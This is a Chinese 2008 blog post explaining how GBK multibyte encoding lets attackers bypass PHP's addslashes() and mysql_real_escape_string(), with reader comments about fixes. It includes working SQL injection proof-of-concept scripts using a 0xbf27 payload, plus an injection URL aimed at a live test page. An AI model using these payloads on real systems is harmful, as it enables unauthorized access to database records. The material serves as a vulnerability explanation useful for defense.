随笔 - 123, 文章 - 0, 评论 - 62, 引用 - 0
数据加载中……

PHP字符编码绕过漏洞总结

      其实这东西国内少数黑客早已知道,只不过没有共享公布而已。有些人是不愿共享,宁愿烂在地里,另外的一些则是用来牟利。
该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时,0xbf27本身不是一个有效的GBK字符,但经过 addslashes() 转换后

变为0xbf5c27,前面的0xbf5c是个有效的GBK字符,所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理,结果漏洞就触

发了。

     mysql_real_escape_string() 也存在相同的问题,只不过相比 addslashes() 它考虑到了用什么字符集来处理,因此可以用相

应的字符集来处理字符。在MySQL 中有两种改变默认字符集的方法。

方法一:

改变mysql配置文件my.cnf

CODE:

[client]
default-character-set=GBK
方法二:
在建立连接时使用
CODE:
SET CHARACTER SET 'GBK'
例:mysql_query("SET CHARACTER SET 'gbk'"$c);
问题是方法二在改变字符集时mysql_real_escape_string() 并不知道而使用默认字符集处理从而造成和 addslashes() 一样的漏洞
<?php

$c 
mysql_connect("localhost""user""pass"
);
mysql_select_db("database"$c
);

// change our character set
mysql_query("SET CHARACTER SET 'gbk'"$c
);

// create demo table
mysql_query(
"CREATE TABLE users (
    username VARCHAR(32) PRIMARY KEY,
    password VARCHAR(32)
) CHARACTER SET 'GBK'"
$c
);
mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')"$c
);

// now the exploit code
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*'

$_POST['password'] = 'anything'


// Proper escaping, we should be safe, right?
$user mysql_real_escape_string($_POST['username'], $c
);
$passwd mysql_real_escape_string($_POST['password'], $c
);

$sql "SELECT * FROM  users WHERE  username = '{$user}' AND password = '{$passwd}'"
;
$res mysql_query($sql$c
);
echo 
mysql_num_rows($res); 
// will print 2, indicating that we were able to fetch all records

?>

纵观以上两种触发漏洞的关键是addslashes() 在Mysql配置为GBK时就可以触发漏洞,而mysql_real_escape_string() 是在不知
道字符集的情况下用默认字符集处理产生漏洞的。
       下面再来分析下国内最近漏洞产生的原因。
问题出现在一些字符转换函数上,例如mb_convert_encoding()和iconv()等。
发布在80sec上的说明说0xc127等一些字符再被addslashes() 处理成0xc15c27后,又经过一些字符转换函数变为0×808027,而使得经过
addslashes() 加上的"\"失效,这样单引号就又发挥作用了。这就造成了字符注入漏洞。 
      根据80sec的说明,iconv()没有该问题,但经我用0xbf27测试
$id1=mb_convert_encoding($_GET['id'], 'utf-8', 'gbk');
$id2=iconv('gbk//IGNORE', 'utf-8', $_GET['id']);
$id3=iconv('gbk', 'utf-8', $_GET['id']);
这些在GPC开启的情况下还是会产生字符注入漏洞,测试代码如下:
<?php

$c 
mysql_connect("localhost""user""pass"
);
mysql_select_db("database"$c
);

// change our character set
mysql_query("SET CHARACTER SET 'gbk'"$c
);

// create demo table
mysql_query(
"CREATE TABLE users (
    username VARCHAR(32) PRIMARY KEY,
    password VARCHAR(32)
) CHARACTER SET 'GBK'"
$c
);
mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')"$c
);

// now the exploit code
//$id1=mb_convert_encoding($_GET['id'], 'utf-8', 'gbk');
$id2=iconv('gbk//IGNORE', 'utf-8', $_GET['id']);
//$id3=iconv('gbk', 'utf-8', $_GET['id']);

$sql "SELECT * FROM  users WHERE  username = '{$id2}' AND password = 'password'"
;
$res mysql_query($sql$c
);
echo 
mysql_num_rows($res); 
// will print 2, indicating that we were able to fetch all records

?>
测试情况 http://www.safe3.cn/test.php?id=%bf%27 OR username = username /*
 
    后记,这里不光是%bf,其它许多字符也可以造成同样漏洞,大家可以自己做个测试的查下,这里有zwell文章提到的一个分析
http://hackme.ntobjectives.com/sql_inject/login_addslashes.php 。编码的问题在xss中也有利用价值,详情请看我
       最后发下广告,保护伞网络http://www.safe3.cn/提供有偿服务器安全服务。

 

posted on 2008-08-22 14:52 Safe3 阅读(2592) 评论(5)  编辑 收藏 所属分类: 原创文章

评论

#1楼   回复  引用    

nice!
2008-08-22 17:22 | axis[未注册用户]

#2楼   回复  引用    

又一种猛烈的攻击手法流行了。~
2008-08-22 20:55 | 余弦[未注册用户]

#3楼   回复  引用  查看    

大牛的Baidu帖子非常牛B

2008-08-23 23:40 | est      

#4楼   回复  引用    

确实存在这个问题,这应该是PHP的机制问题,我写了一个针对GBK的二次过滤方法,可这个效率太慢了,前辈,不知道PHP下面有没有什么别的针对这个问题的解决方法,addslashes在我写的代码中使用的太频繁,有没有什么方法能避开这个问题,谢谢
2008-08-31 23:13 | yuehei[未注册用户]

#5楼[楼主]   回复  引用  查看    

其实知道原理,解决也就很简单,在放入sql语句前再用str_replace()函数替换下就可以了
2008-09-01 09:02 | Safe3      
发表评论

昵称: [登录] [注册]

主页:

邮箱:(仅博主可见)

评论内容:

  登录  注册

[使用Ctrl+Enter键快速提交评论]

0 1274095




相关文章:

相关链接: